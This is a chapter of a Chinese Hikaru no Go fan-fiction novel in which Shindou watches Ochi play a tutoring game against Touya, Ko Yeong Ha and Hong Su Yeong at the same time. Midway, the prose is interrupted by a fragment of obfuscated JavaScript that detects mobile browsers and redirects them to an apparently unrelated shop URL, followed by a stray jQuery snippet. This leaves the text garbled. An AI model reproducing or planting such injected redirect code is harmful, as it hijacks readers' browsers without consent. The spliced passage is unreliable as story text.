27. 现在的现在
作品:《Falling You》 进藤光:“……”
他一时竟分不清,自己此刻涌上心头的究竟是松了一口气,还是……一丝愧疚,或者莫名的失落?
“就算高永夏和洪秀英离开了,前辈也继续和我住一间房吧。”
进藤光的心跳还没完全平复,脑子也乱糟糟的,被他这接连的直球打得毫无招架之力,只能凭着本能,期期艾艾地应道:“……嗯。”
得到了想要的答复,塔矢亮似乎满意了,不再说话,只是维持着拥抱的姿势。
黑暗中,进藤光僵持了一会儿,最终还是在身后人平稳的呼吸和温暖的怀抱里,不知不觉地放松下来。现在是早春,夜晚还是有些料峭,但他这一晚却觉得异常温暖,一夜无梦。
——————
第二天早上,进藤光是被隐约传来的食物的香气唤醒的。他迷迷糊糊地坐起身,发现身边的床位已经空了。
原来,每次小亮都比他起早这么多。
不对不对,重点不是这个……重点是,自己居然直到和他同住一个房间后,才后知后觉地对这件事有了清晰的实感。
从这个角度来说,的确应该……住一个房间。
要不明天就由自己来准备早餐吧?也不能总让他一个人做这些,虽然可能不太好吃……但总觉得小亮不会在乎这些……
进藤光趿拉着拖鞋走出房间,只见塔矢亮已经穿戴整齐,正将早餐端上餐桌。
两位客人也已经坐在了客厅,洪秀英有些拘谨,高永夏则翘着腿,目光扫过餐桌,又看向空空如也的流理台:“我的呢?”
进藤光还没完全清醒,带着点起床气:“不是很明显吗?你想吃自己去买。”
塔矢亮将牛奶放在进藤光惯常坐的位置前,连眼皮都懒得抬一下。高永夏刚想说话,就被忍笑的洪秀英一把拉住:“永夏,你就自己去买吧。”
高永夏:“……”
在高永夏披上外套出门前,塔矢亮终于说:“就在桌上。”
今天还是工作日,所以进藤光要上班。他匆匆吃完早餐,对两位客人表示如果要旅游的话请自便,并给了他们一份备用钥匙。他正准备出门,而塔矢亮照例自然地帮他整理了一下有些歪斜的领带。
这个日常动作原本进藤光早已习惯,并没觉得有什么,然而此刻在两位旁观者,尤其是高永夏那似笑非笑的注视下,他竟后知后觉地生出几分不自在来。
他微微偏开视线,低声说:“小亮,我……我也帮你吧。”
塔矢亮却似乎并不意外,从善如流地微微低下头,方便他的动作。
结果不知道怎么了,或许是因为那聚焦在身上的目光让他紧张,进藤光的手指变得笨拙,一下不小心把领带结打错了,一个明显的失误。
“噗。” 高永夏毫不客气地笑出了声。
进藤光瞬间有些无地自容。
塔矢亮却仿佛完全没有听见,他的目光依旧停留在进藤光泛红的脸上,声音平稳而温和:“没关系,前辈慢慢来就好。”
这句安抚反而让进藤光更加窘迫,他集中精神,终于重新打出了端正的领带。
“我……我出门了!”
“等等,前辈。”
塔矢亮却叫住了他。在进藤光疑惑回头的瞬间,塔矢亮上前一步,双手轻轻捧住他的脸,尔后自然地在他额头上印下了一个轻柔的吻。
“你忘记每天的临别吻了。”
哪……哪有每天!
明明……明明就是……
从今天开始……不对,从刚刚开始的……
进藤光的余光不忍地瞟了一眼高永夏和洪秀英,高永夏一言难尽,洪秀英害羞捂着脸。
这种事情以前是不是也发生过?
不不……来不及想了……
不解释……越解释越乱……
“我真的去上班了!!”
进藤光忙不迭地同手同脚转身,几乎是落荒而逃。
——————
这一整天,他都有些心神不宁。办公桌上的文件字迹仿佛会游动,幸子组长交代的任务在他脑子里转了几个弯就没了踪影。好在细心的岸田察觉到他状态不对,低声提醒了几次,才让他勉强没有在工作中出错。
直到快下班时他才想起今天是越智来上课的日子。
进藤光火急火燎地冲出公司,而当他随着人流挤出地铁站时,一眼就看见了那个墨绿长发的身影依旧安静地等在老地方。
“先去超市吧,家里的食材不太够了。”
“啊?哦……好。”
两人像过去的许多天一样,并肩走向超市,在生鲜区挑选着晚餐的食材。直到提着购物袋站在自家公寓门口,听到里面隐约传来的谈话声,进藤光才第三次猛然想起高永夏和洪秀英还在,而今天……是越智来上课的日子。
他握着钥匙,内心一阵头痛。
门从里面被打开,似乎是洪秀英听到动静来应门。他看着站在门口、表情复杂的进藤光,疑惑地问:“进藤前辈,怎么了?”
高永夏倚在门框上,同样投来询问的目光。
进藤光一时间也不知道该怎么解释“我忘了今天有学生要来,而你们的存在让情况变得有点复杂”这件事。他为难地想,总不能把这两个语言交流虽然无障碍、但的确是外国人的他们暂时赶出去吧……
但既然是上课,有其他人在也不太好……
就在这时,未关的门外传来少年规矩的声音:“塔矢老师,进藤前辈,打扰了,我进来了。”
当越智推开门时,顿时沉默了。
出现在他眼前的四人无不一是顶尖棋士,进藤前辈,塔矢名人,韩国的洪秀英七段,以及被誉为韩国青年一代第一人的高永夏九段……
这几个光是名字并列就足以占据围棋周刊整个版面的棋士,怎么都齐聚一堂了?
越智有些紧张:“那个……”
高永夏和洪秀英很快搞清了状况,他挑眉道:“又是一个你亲手培养的后辈吗?”
“不,我只是负责记录对局而已,教学方面一直是小亮负责……”
“啧,既然这样,那我和秀英也勉强加入吧,反正也闲得无聊,果然还是要下棋才可以啊。”
“这……”
高永夏无所谓地耸耸肩,散漫道:“这有什么?辅导就是下棋而已,家常便饭。”
“棋盘够吗?”
越智立刻:“我请管家爷爷送新的过来!”
进藤光犹豫:“可是……”
高永夏的目光扫过越智,勾起唇角:“看这小鬼的样子,一看就知道我和秀英的名字,不过不知道也不可能吧?小朋友,和我们一起下棋,你没意见吧?”
越智几乎是立刻挺直了背脊:“我……我没意见!”
洪秀英也温和地笑了笑,表示:“如果只是下指导棋的话,我没问题。”
塔矢亮对此不置可否,算是默认。
进藤光见状,知道自己再反对反而显得奇怪,只能妥协,但他还是提出了一个现实问题:“只是……越智要和你们三个人轮流下的话,时间可能不够。”
高永夏像是早就想到了这一点,嘴角勾起一个带着点挑衅意味的弧度:“下一对三的棋不就行了?这样慢一点也无所谓,时间刚好。”
———这根本就是在欺负人吧?
越智如果已经是职业棋士也就算了,可他……
进藤光刚想开口,手却被身旁的塔矢亮轻轻握住。塔矢亮的目光沉静,低声提醒:“前辈,你看他的眼神。”
进藤光一怔,顺着他的视线看向越智。
越智……在恐惧。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206028|197338||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>的确,面对三位顶尖棋士的压力,怎么可能不恐惧?
但即便如此,即便身体都在微微发抖,这个少年所拥有的求知欲和斗志,却无论如何也使得他不想放弃。
这样的眼神,仿佛跨越了光阴。
六年前……一个拥有同样眼神的孩子,也是这样出现在了他的棋盘对面,过去的他仿佛就站在了自己眼前。
而现在,塔矢亮站在了自己身边。
大概……也要超越他了吧?
进藤光心里最清楚,此刻最动摇并非越智,而是自己。
原本只是越智和塔矢亮对弈,他在一旁机械地记录棋谱,光是强迫自己不去思考、不去感受那棋盘上流淌的杀意与灵光,就已经耗费了他全部的心力。
如果是三个风格迥异、却同样顶尖的棋手同时落子……那交织的棋路……他还能……还能像之前那样,勉强将自己隔绝在外吗?
就在这时,越智猛地抬起头看向进藤光:“如果进藤前辈觉得对我不公平……只要给我让子就没关系!或者不让也可以,我真的不想浪费这次机会。”
此时此刻,进藤光真切意识到了自己的动摇。
可是,不能浪费……越智的机会。
“……好,”进藤光听到自己的声音响起,“就下一对三的棋。”
——————
让子还是需要的。
三人在越智的坚持下各自让了三子,越智执黑先行,同时与高永夏、洪秀英、塔矢亮三人展开对局。
进藤光则坐在一旁,面前摊开三份空白的棋谱记录纸,手持铅笔,准备履行他助教的职责。
棋局开始。
进藤光强迫自己将注意力集中在“记录”这个机械动作上。
笔尖在纸上滑动,勾勒出棋路的轨迹。
只能录入,不能解析。
不能想,不要想。
原本就是一对三,即便让子加反贴目也很难不处于下风,更何况眼前的三人皆是顶尖棋士;越智下得十分勉强,面对高永夏锐利的进攻,他左支右绌;应对洪秀英绵密扎实的布局,他感到窒息;而在塔矢亮步步为营的压迫下,他更是举步维艰。
汗水逐渐浸湿了他的额发。
进藤光的笔尖偶尔会停顿。
当高永夏落下一手看似无理、实则暗藏杀机的棋时,他的心脏会不受控制地一缩,在洪秀英巧妙地化解了越智一次微弱的反击后,他亦忍不住微微一滞。
而塔矢亮布下一个他无比熟悉的、曾共同研究过的局时,他的指尖甚至有些发凉。
……动摇。
他死死压抑着脑海中几乎要自发开始的演算。
……不能动摇。
与高永夏和洪秀英的对局,越智相继中盘认输。
他脸色发白,但眼神依旧倔强,将所有精力投注到与塔矢亮还未结束的棋局上。
这盘棋,越智支撑得最久。或许是因为与塔矢亮对弈次数较多,但最大的原因,大概是因为塔矢亮在指导棋中留下了更多让人挣扎的余地。
然而实力的鸿沟依旧清晰。在塔矢亮一手精妙的“点”之后,越智盯着只下到一半的棋盘看了很久,脸上的血色一点点褪去,最终他肩膀垮了下来:
“……我输了。”
不。
一个清晰的声音在进藤光脑海里响起。
还没输。
左上角那个看似无关的弃子,只要可以利用——只要利用小亮为了追求效率而留下的一丝极其微弱的断点,还能……还能挽回。
他的大脑在他意识到之前,已经完成了所有的计算。
太慢了。
这是从很多年前开始,就烙印在灵魂里的本能,是几乎与呼吸同在的直觉。
“啪!”
一声清脆的落子声响起。

